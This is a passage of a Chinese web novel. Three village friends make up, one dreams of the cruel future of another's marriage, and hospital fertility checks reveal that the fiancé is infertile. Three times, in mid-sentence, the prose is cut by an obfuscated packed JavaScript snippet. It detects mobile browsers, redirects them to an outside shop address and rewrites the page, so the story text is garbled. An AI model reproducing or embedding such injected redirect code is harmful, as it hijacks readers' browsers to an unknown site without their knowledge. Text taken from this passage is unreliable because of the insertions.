枝枝正在吃饭,抬眼瞧见进门的两人,眼神里有一瞬间外露的欣喜,张口想和她们说话。但那欣喜转瞬即逝,半张的嘴也很快闭上,她移开目光撅起嘴,重新摆出一副气囊囊的样子。 她和她们闹别扭已经一个星期,这几天她心里其实非常后悔,但她这个人最是嘴硬,让她说一句道歉求和的软话,恐怕比割她二两肉还难受。 现在她们终于来家里找她了,她心里高兴得都快开出花来,可仍然别扭傲娇地不肯先理她们。 方英和盼儿却也没有和枝枝打招呼,二人像没看见她一样,大大方方地坐在炕沿。 “城里可正好玩,”盼儿笑吟吟道:“英子,咱俩在小吃铺,吃的牛肉蒸饺太香了!” “是啊,真好吃。还有咱俩点的麻婆豆腐和溜肝尖,也好吃!” 枝枝咬了一口大葱,没好气地嚼得脆响。 方英和盼儿对视一眼,差点笑出声来。 “盼儿,咱俩今天进城,真是收获满满,不仅吃了好吃的,还买了好东西呢!” “嗯嗯!”盼儿撩起鬓边的头发,露出耳朵,“英子,你看我的金耳坠,是不好看?” 她歪着头,看似在凑近方英,其实却侧着脸故意给枝枝看。 “好看!”方英笑着说:“这个流苏款的耳坠真适合你。这个工艺把金饰做得很闪,时尚又经典,过多少年都不过时。” 盼儿一脸笑容,晃晃脑袋展示亮闪闪的金耳坠,又对方英说:“英子,你新买的金耳环也好看。” “嗯,我喜欢简约的嘛。”方英也像盼儿一样,歪头将耳朵伸向枝枝,抬手拨弄了一下耳垂上的金耳环,阴阳怪气道:“盼儿,咱俩好姐们儿,以后一起穿金戴银,让别人眼馋去!” 枝枝气得鼓鼓,终于忍不住开口:“你俩都走!别在这臭显摆!” 她放下筷子,伸手要来推她们。 方英和盼儿站起身,一起哈哈大笑,“行了!枝枝,你还想像上次一样,把我们俩扔出去啊?!” “哈哈哈,枝枝,我们俩逗你呢!”盼儿笑弯了腰,“气了一个星期还不够,你还想一直跟我们生气呀?” 枝枝坐在炕上,脸上的气恼已然消散,一时却不知该说什么,呆呆看向两人。 方英和盼儿各自打开皮包,从中各拿出一个首饰盒,在枝枝面前一起打开,“姐们儿,送给你的!” 枝枝震惊怔住,目瞪口呆。她面前是黄灿灿的两件金饰,盼儿送的是一条金项链,方英送的是一个金镯子。 盼儿笑道:“咱是好姐们儿,我们买好东西,能不想着你吗。” “可是,可是你俩自己买的都是耳坠、耳环,”枝枝不解,“咋突然送我这种大件儿?” “你没有耳洞啊,戴不了耳饰。”方英顿了顿,缓缓说道:“而且,你不是打算结婚了么。” 她对她露出柔和笑意,“枝枝,这金镯子和金项链,是我和盼儿送你的嫁妆。” “城里的有钱人家,结婚都买三金的。镯子和项链有了,剩下的一金,得让贾文才给你买。”盼儿平静而认真地说:“枝枝,嫁人不能着急,更不能什么都不要。” “我当时就是太傻太急,嫁错人才会离婚收场。男人如果什么都不付出,轻而易举就得到你,他是不会珍惜的。” “盼儿说得对。至少要让贾文才给你买个金戒指。”方英摸了一下脖子上的金鱼项链,玩笑道:“我们家那个‘臭唱二人转的穷鬼’,当初刚有了一点钱,就给我买了项链呢。” “那天我对你们说那些话……”鲁枝枝低着头,心中五味杂陈,除了感动,自责和愧疚由心上脸,最终化作闷在喉咙里的一句:“对不起。” 她的声音很低,含糊却足以让方英和盼儿听清。 两人故意逗她,“枝枝,你说什么?” “对不起……” “没听清,再说一遍?” “对不起!”枝枝抬起头,对两人大声说:“对不起行了吧?我对不起你们俩!” 方英和盼儿咯咯笑起来,笑过之后又收敛,云淡风轻地说:“没关系。” 鲁枝枝的性格她们怎么会不懂呢,她就像一颗山竹,外硬心软,其实她们根本没有真的生过她的气。 二人帮枝枝带上项链和手镯,枝枝欢喜地在镜子前照来照去,露出娇憨的笑容,“金子可真招人稀罕,焦黄儿!” “那可不,金子是好东西。”方英满眼欣赏地看着枝枝,“枝枝,你戴着好看,贵气!” “枝枝,我俩给你选的项链和手镯,克重可不轻呢!”盼儿笑着说:“枝枝,咱村这些姑娘出嫁,没几个买金子的,等你结婚戴这些金子,得老有面子了。” 枝枝脸上的笑容微收,看向方英和盼儿,轻轻问道:“你们俩不是不支持我嫁给贾文才吗?怎么突然转变了?” “我不支持你嫁他,是怕你和他在一起不幸福。” 方英坦然说道:“但是那天他给你送菜送花,我看见你笑得很开心。我想,如果你真喜欢他,他能让你高兴快乐,那你和他结婚也未尝不可。” 她严肃地补充道:“不过,我还是坚决不赞成,他带着一家子住到你家里来。” “他们现在住那个马架子,漏雨……”枝枝似是有些犯难,闷声说道:“他妈妹不上我这来,没地方可去。” 方英无奈叹了口气,思索片刻说道:“于穹家之前那个小草房,现在还空着,收拾一下也能住人。” “那条件虽然不好,但怎么也比马架子强。到时候我和我公公婆婆说一声,贾文才他妈妹如果要跟来咱村,就去那住吧。” 枝枝想了想,“行。英子,那谢谢你。” 方英微笑了一下,“不客气。” 枝枝挠了挠自来卷的头发,含蓄一笑说:“其实,家里一下子要住进来一窝子生人,我也觉得别扭。” “那肯定的,不别扭才怪呢。”盼儿心里暗暗嫌弃,直截了当开口:“枝枝,我还是不理解,你到底看上贾文才哪了?” 枝枝沉默半晌,“我知道他是二婚男,人品 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17373743|197806||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 相貌也一般,但我不嫌乎他。” 她缓缓说:“因为,只有他把我当个女人看。” 方英和盼儿不解,“什么意思?” 枝枝眼中流露出隐隐的自卑和低落,“我长得不好看,说话也粗声粗气,又黑又壮一点女人味都没有。” “相过几次亲,男方都看不上我。只有贾文才不一样。”她脸颊泛红,浮现春色和喜色,“他叫我妹妹,当我是小姑娘,夸我漂亮还给我送花。” 她再次说道:“只有他,把我当个女人看待。” 方英恍然大悟,“明白了,咱姐们儿喜欢贾文才,就是图他个情绪价值。” 她摇了摇头,轻叹道:“张大白话给你介绍的那几个相亲对象,或者说十里八村这些小伙儿,都太没眼光了。”她直直看向鲁枝枝,“枝枝,我要是男的我就娶你。” 枝枝被逗笑,“英子,你瞎说啥呢?” “我是说真的,我要是男的,能娶你当媳妇我得乐懵。”方英说道:“枝枝你这么能干,喂猪打狗、烧菜煮饭、下地干农活、进厂子打工,家里家外没有你干不了的。” “我要是男的,把你娶回家,然后我当个懒汉啥也不干,天天就对你说好听的。” 枝枝哈哈笑道:“瞧你说的,我有那么傻吗?几句好听话,就能让我养活个懒汉?” “我看你不太奸。”盼儿撇撇嘴,“谁说你长得不好看啊?你不过是不爱打扮,追求自然美。” “我以前说你又黑又壮,那是开玩笑,你还当真了?其实我可羡慕你了,你有力气,干活有劲,比男的都厉害。” “对呀枝枝,环肥燕瘦皆为美。”方英说道:“谁规定女人味就得是肤白貌美、弱柳扶风的?我看强壮粗犷的女人,同样很有魅力。” “你这都啥词啊?‘强壮粗犷’,这形容的真是鲁智深吧!” “丘盼儿,你说谁是鲁智深?” “哈哈哈哈哈……” …… 这天她们畅聊到很晚,之前的小别扭彻底解开。 方英和盼儿走的时候,用小纸箱各自抱回家10只胖乎乎毛茸茸的鹅崽,这是枝枝特意给她们留出来的。 闹别扭的这一个星期,她赶了两次大集、外加推车去附近村,其他的鹅崽都卖完了,只留下30只最健康欢实的,她们三个姐们儿每人10只。 一个月后,贾文才带着老妈和三个妹子,住进了于穹家之前的草房。 几天后小草房里张罗了两桌好菜,贾家请鲁枝枝的近亲戚吃定亲饭,当然,也请了盼儿、方英和于穹。 在定亲宴上,方英第一次见到贾文才的妈妹。那一家人好像共用同一张脸,都和贾文才同款小眼薄唇长瓜脸,老妈、大妹、二妹、三妹,好像依次复制缩小粘贴的一样。 贾文才他妈,说是老妈,其实并不老,今年只有56岁。这个妇女及其能说会道,舌灿莲花,在饭桌上把枝枝从头到脚夸了个遍,拉着她的手给她戴金戒指,一声声“大闺女”叫得亲热粘糊。 定亲宴是在中午,但是吃完饭人们聚在一起聊天,一直聊到晚上,索性又一起吃了顿晚饭。 回到家中,于穹在外屋烧炕,方英在里屋铺好被子,准备一起睡觉。 他和她说话,她回应了几句,突然觉得头晕,下一秒像是睡着也像是晕倒,再次进入清晰真实的梦境。 30. 第30章 断肠草 这一次和之前几次一样,她既是梦中人,也是旁观者,像被植入一段属于原本方英的记忆。 她猜想,这个梦中的事情可能发生在十几年之后,因为梦里的方英年看上去岁长了一些,像是三十五六岁的模样。 梦里,她挎着一个小筐,来到鲁枝枝家。 进院看见贾文才的老妈手上拿着一把磨得发亮的菜刀,追着一只小笨鸡跑。 她开口道:“大婶子,要杀鸡啊?” 贾文才的母亲老了很多,头发白了大半,腿脚却利索矫健,几步便追上了那只小笨鸡,抓着翅膀提在手上,“嗯,杀只小鸡给我儿子吃。” “这母鸡不下蛋,活该是杀肉的货!”她说这话时咬牙切齿,语气恶狠狠的,不像是对鸡说,而像是对人说。 说罢手起刀落,小母鸡的脑袋掉在地上,粘着尘土滚动两下,眼睛似还睁着。 没了脑袋的小母鸡,被贾文才的老妈抓着,翅膀和爪子还挣扎了两下,不甘却无力。鸡血由断掉的脖颈飙出,溅在地上、溅在刀上、零星溅在贾文才老妈的手上。 方英一口气堵在胸口,气愤却无奈,纠结过后说道:“婶子,你看你咋说话呢?你这话要让枝枝听到,得多伤她心呢。” “枝枝嫁给贾大哥这十来年,除了没给你们家生孩子,你说她啥活没干到哇?咱不说别的,枝枝天天伺候你,帮你把咱家仨妹子拉扯大,挨多少累啊,没有功劳她也有苦劳不是?” 她压着怒气,好言劝道:“婶子,这些年要不上孩子,枝枝自己也着急上火,您就别总拿这事磕打她了吧?” 贾文才的老妈眨巴眨巴小眼,脸上每一道皱纹的缝里,仿佛都夹着“刻薄”两个字,“方英子,你说那不对。” “苦力活骡子马也能干,谁家娶媳妇不为传宗接代?女人要生不了孩子,那还算是个女人吗?肚子不听使唤,下不了崽那就是个残次品!” 老婆子撇嘴翻白眼,“留她能给我儿子暖被窝,要不然依着我,早把她给休了。” 做梦的方英,和梦里的方英同样恼怒,拳头攥得邦硬,她真想痛骂这老婆子一顿,甚至胖揍她一顿。 她张嘴欲骂,话还没说出口,瞧见枝枝从屋里走出来。 梦里的枝枝也老了些,约莫不到四十,体格依然强壮,眼神却隐隐带着疲倦和忧愁,两条川字纹深刻在眉间,高耸到额头。 枝枝走近,压低嗓子对方英说了句:“别理那死老太太。”她挽上她的胳膊,“英子,走,跟我进屋。” 进到屋里,枝枝期待地问:“我要的芥菜籽,你给我淘腾到了吗?” “淘腾着了。我爸妈家、哥姐家、还有广林那些亲戚家,我挨家去要了。”方英挎来的小筐里,有十几个小布袋,布袋里面装的都是芥菜籽,“这不是么,都在这呢。” 枝枝接过小筐,很是欢喜,“好,太好了!” 方英纳闷道:“枝枝,你要这么多芥菜籽干啥?来年种的话,一小把就够了,你想拿来做芥末吗?” “不是,”枝枝脸上的笑容变浅,“我是、是想用锅炒熟烘干,研成粉,然后用开水冲着喝。” “啊?”方英诧异,“这玩意能喝吗?那味儿不得成呛嗓子了?” 枝枝表情复杂,似愁闷又似难为情,又好像隐含着希望,“这是我听前屯老罗婆子说的,治不孕的偏方。” “我一直怀不上孩子,可能是因为肚子里面凉,喝芥菜籽粉泡的水,能让肚子热起来。”她嘴角苦涩的微笑一掠而过,“兴许、兴许就能有了。” 做梦的方英很是无语,觉得鲁枝枝实在太过愚昧。 她揣测她字里行间,是想要调理宫寒。但可想而知,喝芥菜籽粉泡的水只能刺激肠胃,根本不能调理宫寒,更不能治疗不孕。 梦里的方英对偏方将信将疑,认为可以一试,“行,喝喝试试吧。” 枝枝道:“那我现在炒,你帮我烧火呗?” 方英点头,“好。” 二人干活麻利,芥菜籽很快炒熟,又用擀面杖擀成碎末。枝枝挖了两勺粉末到碗里,烧得滚开的水冲下去,辛辣刺鼻的气味瞬时散出来,直冲鼻腔,用不着喝就呛得人直打喷嚏。 等了片刻水温变温,枝枝用勺子搅了搅碗中的浊液,捏着鼻子皱紧眉头,端起碗一仰脖灌进肚里。 咽下去之后,胃里却翻江倒海,喉咙也灼痛,压制几秒终究哇哇大吐,吐出刚喝下的芥菜籽水、呕出早上吃的饭、甚至吐出胆汁和胃酸。 方英眼见枝枝遭罪受苦,心里同情不忍,一只手帮枝枝揽着她自来卷的头发,另一只手轻轻拍她的背,希望能让她尽量舒服一点点。 这时候,贾文才回到家,进门大步走到枝枝身旁,“小枝儿,你咋吐了呢?” 他小眼放光,呲着黑牙露出笑,“是不有了?” 枝枝忍着吐意,站直腰杆,抬手打了贾文才的角瓜脑袋一巴掌,大着嗓门骂道:“我有你奶奶个腿儿!” 贾文才的老妈听到动静,一脚迈进门槛,看样子是想唠叨几句。 鲁枝枝面色铁青,马上就要火冒三丈,像一个下一秒就要爆炸的地雷,瞪着贾文才吼道:“滚!!!” 贾文才吓得缩起脖子,快步后退,低声下气道:“媳妇儿,别来气,我错了,我错了。” 贾文才的老妈见枝枝真的生气了,也收起刻薄和气焰,赔着笑脸劝和:“儿媳妇儿,大闺女,消消火,中午妈给你炖鸡汤喝噢。” 枝枝依然不快,“都给我滚,别烦我!” “好好好,我们走,我们这就走。”贾文才推着老妈,像两只老鼠一样一起逃出门外。 这个梦并不连续,下一个场景方英在她和陈广林的家里,正在做饭。 一个半大小子,背着书包跑进门,“妈!” 梦里的方英应道:“诶,儿子放学啦!洗洗手准备吃饭吧。” 做梦的方英心想,看来这个中学生模样的男孩,是前世原本的方英和陈广林的儿子。 “妈,我刚才回来路过枝姨家门前,那围了好多人,听他们说枝姨好像中毒了,你快去看看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她回想起,那晚在病房里,原本的方英临死前,曾微笑说:“是时候了,我要去见我的好姐们儿了。” 这一刻她才知道,原来按照本来的事情发展,淑玲、盼儿、枝枝,全部都先她而去。她经历三次痛彻心扉的死别,最后独自一人,孤独死去。 恍惚间,她与死去的方英仿佛心灵相通,她懂了她死前的微笑,也懂了她的难过和遗憾。她更加明白,她要代替她,保护她的朋友,因为,那也是她的朋友。 她的思绪被于穹的话打断:“柔柔,你是不是生病了?身体不舒服吗?” 他紧紧抱着她,轻柔拭去她脸上的泪,担忧地问道:“要不要过两天,进城去医院检查一下?” 方英灵光一闪,“对,应该去医院检查!” “不止我要去,枝枝也要去。”她思索了一下,“应该组织全村妇女,一起去医院做检查。” 31. 第31章 生育检查 枝枝和贾文才,现在只是定亲,还没正式结婚。 方英做了那个十几年后关于枝枝的梦后,考虑带枝枝到城里的医院,进行生育能力检查。 因为她觉得,贾文才和老妈如果得知枝枝不孕,很可能会退婚,所以她要让枝枝不能生育这件事提前曝光,避免进行“盲婚哑嫁”。 尽管那样一来,枝枝会伤心难受,但至少能够及时止损,不用嫁给贾文才,将来也不用为了生育执念吃苦受罪,更不可能迷信偏方造成悲剧。 至于未来,枝枝能否遇到真正爱她,爱到不执着于生儿育女的人,那是未知数,也是后话。 那个可怕的梦,让方英无瑕顾虑那么多。她私心认为,枝枝即便孑然一身,孤独终老,也总好过为了生育吃尽苦头,甚至不幸早亡。 如果只让枝枝自己去检查,会显得太过刻意和突兀,而且服装厂这一年来效益不错,方英想要回馈乡亲们。所以,她决定拿出一笔钱,组织全村妇女一起去医院检查妇科。 她提前几天进了趟城,到医院预约安排好了相关检查事宜。 这天,天刚蒙蒙亮,一辆老姚家的面包车、三台挂拖斗的四轮拖拉机、五架大马车、十几辆自行车集中在村口,准备载着全村妇女去往县城医院。 出发之前,盼儿和枝枝帮方英清点了两遍人数,“英子,除了赵玉娇,人都到齐了。” “赵玉娇怎么没来?没通知到她吗?” “英子姐,通知了,昨天我去她家通知她的。”服装厂的小姑娘秀莲,是赵玉娇的邻居,说道:“她自己说不去的,说是家里活多,走不开。” 方英心里纳闷,这个时节春耕农忙已过,况且家里活再多,也不差这一天。 妇女们都在等着,她说:“那行,那咱们出发吧!开车的、赶车的、骑车的,千万注意安全!” 身子最弱的坐面包车、岁数大些的坐拖拉机、身强力壮的载一个纤瘦的骑自行车、一般体格的则坐马车,大伙儿迎着朝霞一起出发,去往县城医院。 枝枝骑自行车载着盼儿,方英则和另外几个年轻的小媳妇一起,坐在一辆马车上。 这辆车赶车的不是男人,而是一位年近六十岁的妇女,是本村的姚家大娘。 马儿跑得快又稳,方英笑着搭话:“姚大娘,您可真厉害,能赶了这马车!” 姚大娘轻挥手中的鞭子,乐呵呵道:“小方英儿,你岁数小,你不知道,在早生产队那会儿,大娘是这片儿有名的女车老板子。” 她脸上浮现骄傲神色,“说也巧了,我年轻时候赶马车,我儿子现在开面包车,我们这一家子都是车老板子!” 姚大娘的话,逗得马车上的小媳妇们哈哈笑起来。 马车虽比不上汽车速度快又舒适,但大伙儿坐在一起说说笑笑,一点也不无聊,路上倒觉得过得很快。 到达医院,检查顺利有序进行,其他妇女进行常规的妇科健康体检,鲁枝枝则进行了生育能力检查。 检查做完后,盼儿和枝枝陪方英留在城里等结果,别的妇女们则先行回了村。 三个人找了家馆子一起吃午饭,枝枝疑惑,“英子,为啥我查的项目,比你们多好几项啊?” 挂号和选检查项目,都是方英提前来办的。她眼神闪烁了一下,“啊,已婚和未婚的女性,检查妇科查的项目本来就不一样。” “不对吧?”枝枝不懂,懵懵道:“我看别的没结婚的小姑娘,秀莲、小欢、媛媛,查的也没我多啊,她们不大一会儿就完事儿了。” 她的文化程度只有小学毕业,完全看不明白单子上那些检查名称。检查一项接着一项进行,人又多,她做了检查,但没问医生具体每一项是查什么,医生也就没说。 所以枝枝并不知道,她做的其实是生育能力检查。 “秀莲、小欢、媛媛,她们仨才十八九。”方英唬道:“20岁以上和20岁以下,要查的项目也不一样。” 她们点的锅包肉端上桌,方英夹起一大块放到枝枝碗里,“快吃饭吧!” 盼儿夹了一块锅包肉一尝,“嗯!这锅包肉做得挺香!” “确实好吃!”枝枝吃起好吃的,顾不上再想别的,大快朵颐,“早上就没吃饭,我都饿完了。” 方英却吃不下饭,她看着枝枝,心里泛起难过和忧伤。 这与几十年后,很多女性主动选择丁克不同,一个女人即将得知她没有生育能力,这无疑是残酷的。 下午四点多,她们取到妇女们的检查结果。 方英在厚厚的一沓检验单中翻找,她的心怦怦直跳,手都微微发抖,终于找到鲁枝枝的名字。 她从中抽出枝枝的检验单,皱紧眉头聚精会神阅读。 第一项,正常; 第二项,正常; 第三项,正常; …… 检查结论:各项检查显示无异样,具备正常生育能力。 “你能生啊?!”方英又惊又疑,随后欣喜若狂,一手拿着检查报告,另一只手紧握住枝枝的手,“枝枝,你能生啊!!!” 枝枝不明就里,不懂方英的惊讶和狂喜,憨憨笑着说道:“姐们儿,我能生不是很正常吗?我体格这么好,当然能生孩子了!” 方英高兴的不得了,拉着枝枝冲进医生办公室,将报告交给医生看,“医生,这是我姐们儿的检查报告,麻烦您帮忙看一下,请问她能正常怀孕吗?” 医生看过报告,“各项检查结果是正常的,女方身体应该没问题。”医生停顿两秒,“备孕一段时间如果怀不上,建议让男方也到医院检查一下。” 走出医生办公室,方英的兴奋激动渐渐消退,慢慢冷静下来。她的头脑很乱,像有一团乱麻。 梦里的枝枝婚后多年不孕,而枝枝的检查结果,她此刻正拿在手上,现实的枝枝是能生的。 她不禁怀疑,难道方英的记忆出错了? 但这个想法很快被她否定,因为那个梦和前几次一样,那般清晰真实,她相信方英的记忆不会有假。 她继续思考,既然枝枝能生育,排除极小概率的基因不合,那么枝枝婚后多年没有孩子,问题很可能出在男人身上。 方英得出一个大胆的推测:难道贾文才不育!? 但这个推测又被她火速推翻,因为贾文才和前妻,有一个五六岁的小闺女。 她满头问号,解惑之法最后落在医生说过的那句话:“让男方也到医院检查一下。” 此次全村妇女妇科检查,大多数人的检查结果是健康正常的,但也有好几个人查出炎症之类的小毛病,还有两个人查出子宫肌瘤,赶马车过来的姚大娘,意外查出患有早期宫颈癌。 方英去文化馆,等到于穹下班。她坐在摩托车的后座,和他一起回村。路上,她一边思考枝枝的事,一边暗暗打算,以后每年组织一次全村妇女的妇科体检。 这个年代医疗资源相对匮乏,人们的健康意识也没那么强,很多村里人一辈子没到医院做过体检,患了病发现不及时,或者听信偏方乱治,最后可能莫名其妙地死掉。 方英设想,如果未来服装厂做大做强,应该每年拿出一笔资金,带全体乡亲去做全身健康体检。 回到家里吃过晚饭,洗漱之后天色已经暗了。 于穹在炕上铺好被褥,笑着唤道:“媳妇儿,睡觉吧?” 方英坐在炕沿若有所思,柔声开口:“老公,我想跟你商量件事。” 他坐到她身旁,“什么事?” “我今天不是去医院检查了妇科么,结果都正常。”她吞吞吐吐,“嗯,那个,这两天,你能不能抽时间,也去检查一下呀?” 他纳闷,“要我去检查什么?” “男科。”她忽闪着圆溜溜的眼睛看向他,“你去查查那方面……就是,生育能力。” 于穹震惊地睁大双眼,“我那方面有问题吗!?”他一脸不服,又气又笑,“柔柔,不是你说要忙事业不想分心,所以我们一直在避孕吗?” “种子都没撒到地里,出了麻袋却被簸箕接走了,要能发芽结果才怪呢!” 他的语气怪怪的,像在生她的气,又像在勾引撩拨她。 方英倏然羞红了脸,娇嗔道:“你这人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17383737|197806||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 真是没羞没臊,什么话都说得出口。” “干嘛突然让我去检查生育能力?”他搂抱住她,看着她的眼睛,眼神中委屈气恼和暧昧宠溺两相参半,“媳妇儿,你对我不满意吗?” 他把她抱得很紧,俊美的脸凑过来离她很近,她知道下一秒,他的吻就会落下来。 “满意!”在他亲她之前,她主动“啾~”地亲了他一口,笑意盈盈地说:“我对你很满意~” “那为什么怀疑我那方面有问题?” “不是啦,我没有怀疑你。”她的目光向下扫了一眼,脸颊红红,“你是我老公,我当然知道,你那方面、没问题啦。” 他脸上的气恼消散不见,勾起唇角看着她笑。 “我跟你说实话吧。”方英坦然,“我主要是,想让你带贾文才一起去……” “啊?”她话音未落,就遭到他的抵触和质疑:“你突然叫我去检查已经够奇怪了,那种事情哪有结伴儿的呀!” 于穹一脸困惑,“媳妇儿,你关心其他男人那方面干什么?” 方英沉默片刻,眼中浮现淡淡的忧伤,缓缓说道:“你还记不记得,前几天我做噩梦,梦里哭来着?” 他点了一下头,“记得。” 她不再对他隐瞒,“那天我梦见,枝枝和贾文才结婚以后,很多年都没有孩子,枝枝为了怀孕吃了很多苦头。” “我带枝枝去了医院检查,结果她是有生育能力的。我现在怀疑,可能是贾文才不能生。他和枝枝现在只是订婚,还没有结婚,如果他真的有问题,枝枝要想退婚还来得及。” “所以,我想让你带他去检查一下,看看到底怎么回事。” 相信梦境中未来发生的事,并在现实中的当下去做验证,方英的做法,任谁听来都有些疯狂和难以理解。 然而,他觉察到她神色中真实存在的忧伤和不安,温声说道:“柔柔,你应该知道,梦里的事不能当真的,对吗?而且贾文才有过一个女儿,他应该是能生育的。” “你说的我都懂,但我就是想验证一下,你就带贾文才去检查一次嘛。不然我心里不会踏实,我也不会快乐的!” 她皱眉嘟嘴,样子娇蛮任性又可怜巴巴,撒娇道:“老公,求你了,帮帮忙嘛~拜托~” 他搂抱着她,看着她忍俊不禁笑出声来,轻轻捏了一下她的脸蛋,“我真拿你没办法!” 她露出笑颜,“这么说,你答应了?” 他点头,无奈又宠溺地说:“只要我媳妇儿能安心、能高兴,让我去做一点傻事,也没什么。” “谢谢老公!爱你~”她欢喜地环上他的脖颈,爱意满满地望向他,眨眨眼想了想说:“虽然主要目的是带贾文才去检查,但其实你查一下也有必要。” 她娇羞地垂下眼眸,“因为,备孕之前,夫妻双方都应该检查一下的。” 他愣住一瞬,极为惊喜,又不太敢相信,“柔柔,你是准备好,和我要宝宝了吗?” 她点了点头,“服装厂现在稳步发展,你的工作也稳定了。两家父母经常催我们,虽然你每次都和他们说不急不在意,但我知道你是想要孩子的。” 她看着他,眼神柔情似水,闪烁着幸福和甜蜜,“我爱你,我知道你也爱我,所以我愿意,和你有属于我们的孩子。” 他心花怒放,激动狂喜,抱着她一阵狂亲,急不可耐地抱她上炕。 她就快沦陷,却轻推他,“等一下,先商量商量怎么去找贾文才说,等一下再睡嘛。” “别的事情明天再说。”他迫不及待,不由分说地把她搂进被窝,霸道又温柔地对她说:“柔柔,今晚你亲自检查一下,我的生育能力。” “你……”她想半轻不重地嗔怪他几句,嘴巴却被他吻住,没说出口的话,最后变成“嘤嘤嗯嗯”的语气词。 …… 第二天,于穹去找贾文才之前,真的犯了难,不知该以什么理由或借口叫他去医院。因为一个男人,约另一个男人,一起去做生育检查,这件事着实十分诡异。 不过他思考过后,还是想到了一个简单有效的好法子。 32. 第32章 光屁股推碾子 这天早上,方英和于穹一起从家出发,往于家之前的小草房,也就是贾文才现在住处的方向走。 她挽着他的胳膊,“你说的法子能行吗?” “要不还是我去找枝枝吧,让枝枝去和他说,叫他去做婚前体检。或者你跟他正经科普一下,做那项检查的必要性。” 他笑,“媳妇儿你太单纯了,照实说他不会去的。他听不进那些科学健康知识,如果没好处拿,还让他自己花检查费用,那就更不可能了。” “听我的吧,咱们搭点钱,待会儿配合我,忽悠他主动跟着去。” 两人在草房附近徘徊一阵,瞧见贾文才走出门,他们慢悠悠地迎着他走过去。 “贾大哥,这是干啥去啊?” “前屯老胡家的猪病了不吃食,我过去看看。”贾文才呲着黑牙笑道:“你们小两口,打扮这么利亮,上哪啊?” “我们俩进城。”方英对于穹问:“哎老公,你单位的免费健康检查,还有名额吗?” “就剩俩名额了,我一个,还有一个多余的。” “多余的那个,能不能让贾大哥去呀?” “不行。”于穹故作严肃,假装神秘,“小白、李哥、王哥,很多朋友都争这名额,都想跟着去呢。” 他贴近方英耳边,用手挡着嘴巴说道:“毕竟是免费的好事儿,检查完一人还能领五斤鸡蛋。”他有意压低声音,但却足以让贾文才听得到。 贾文才尖着耳朵,小眼珠滴溜乱转,“啥检查啊?还能领鸡蛋?” 他满脸堆笑,“兄弟,你带哥跟你去呗?” 于穹不说话,皱眉装作为难不情愿的样子。 “老公,你就带贾大哥一起去吧。”方英假意劝道:“以后咱都一个村住着,而且贾大哥和枝枝都定亲了,往后和咱是朋友,有好事儿怎么也得先可着朋友是吧?” 贾文才很是高兴,“兄弟,你看你媳妇儿都发话了,你就带哥去吧?” “那行吧。”于穹看似无奈答应,“贾大哥,那你跟我去老姚家坐面包车,咱去城里医院做检查,然后领鸡蛋。” “诶,行!”贾文才的角瓜脑袋点头如捣蒜,“好好!咱现在就走吧!” 方英和于穹对视一眼,各自偷偷露出一抹笑。 坐上面包车,贾文才在衣兜裤兜里摸了半天,喃喃道:“哎呀,今天出来太急,忘揣钱了……” 他一边念叨,眼神一边往于穹和方英的方向飘。 方英心中暗暗无语,面上却微笑,“贾大哥,我们这有,车费我俩帮你交吧。” “那真不好意思,谢谢弟妹!你们先替哥垫上,等晚上回来,哥回家取钱还你噢。” “没事儿,不用了。” 贾文才没再说什么,只是呲着牙咧着嘴乐。 方英心想,这个花舌子,实在太贪小便宜了。 到了城里医院,贾文才才知道是要做生育能力检查。他虽然感到意外,但是想着来都来了,免费的不查白不查,况且查了还有鸡蛋拿,所以便心甘情愿地做了检查。 检查上午就做完了,但面包车要晚上才回村,中午方英和于穹去下馆子,贾文才也跟着蹭饭。 饭桌上他吃得风卷残云,一边夹红烧肉往嘴里塞,一边对于穹说:“兄弟,你们结婚半年多了,弟妹还没动静,今天这检查你查查行,要有毛病抓紧治。” 他得意洋洋,“哥上个媳妇儿刁明珠,当初和我结婚没几天就怀孕了。” 于穹咬了一下牙,脸上浮现隐隐的怒意。毕竟无论哪个男人,被质疑那方面,都会觉得生气,更何况这质疑极为不实。 方英觉察到于穹的不悦,夹了一块好肉放到他碗里,对他温柔地笑笑说:“吃饭吧。” 吃过饭她想去百货大楼逛逛,于穹本想陪她一起,可他一要去,贾文才也要跟脚。于穹无奈,只好带贾文才去医院等检查结果,方英则自己去逛街了。 她逛了半下午,买了点漂亮的小东西,又买了十斤鸡蛋,分装成两兜,每兜各五斤。 她提着两兜鸡蛋来到医院,还没进门,远远瞧见医院门口围了很多人。 她走近,视线穿过人群缝隙,竟然看到贾文才瘫坐在地上,张着大嘴哇哇大哭,模样狼狈,极为崩溃! 贾文才旁边站着于穹,对面站着三个方英不认识的人,像是一家三口,一对年轻夫妻领着个小女孩,女人的肚子似乎微微隆起。 她挤过人群,在前面找到于穹,问道:“这怎么回事啊?” “你来了!”于穹低声说:“你做梦真准,贾文才检查出来,患有无精症。” 方英目瞪口呆,一时语塞,果然如她推测,原来真是贾文才不能生!!! 